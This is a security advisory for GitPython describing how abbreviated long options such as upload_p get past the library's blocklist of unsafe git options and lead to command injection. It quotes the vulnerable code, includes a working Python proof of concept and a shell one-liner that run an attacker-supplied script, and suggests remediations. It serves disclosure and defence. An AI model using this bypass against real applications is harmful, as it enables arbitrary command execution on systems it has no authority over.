PYSEC-2026-3836

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython) Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42) Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Bypass keys (verified)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

• upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
• allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)

1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.